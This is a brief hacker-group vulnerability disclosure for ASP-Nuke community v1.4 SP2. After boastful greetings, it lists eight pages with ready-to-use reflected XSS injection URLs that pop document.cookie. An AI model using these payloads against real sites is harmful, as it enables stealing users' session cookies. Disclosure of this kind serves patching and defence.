I MurderSkillz from g00ns.net have found xss vulnerabilities in ASP-Nuke community v1.4 SP2 (and possibly other versions).
Shouts to z3r0, neX, uid0 (exploitercode.com), Zodiac, Wicked, and all the other I may have forgot..
Once again..g00ns.net fucking owns j00!

XSS in
/articles.asp
?cmd="><script>alert(document.cookie);</script>&cat=12
--------
/calender.asp
?cat="><script>alert(document.cookie);</script>&do=year&Date=01%2F03%2F2006
--------
/downloads.asp
?cat="><script>alert(document.cookie);</script>
--------
/guestbook.asp
?do='><script>alert(document.cookie);</script>
--------
/images.asp
?cat="><script>alert(document.cookie);</script>
--------
/forum/forum.asp
?forum=1&section=1&post="><script>alert(document.cookie);</script>&page=last
-------
/profile.asp
?id=<script>alert(document.cookie);</script>
-------
/search.asp
?section=news&r="><script>alert(document.cookie);< /script>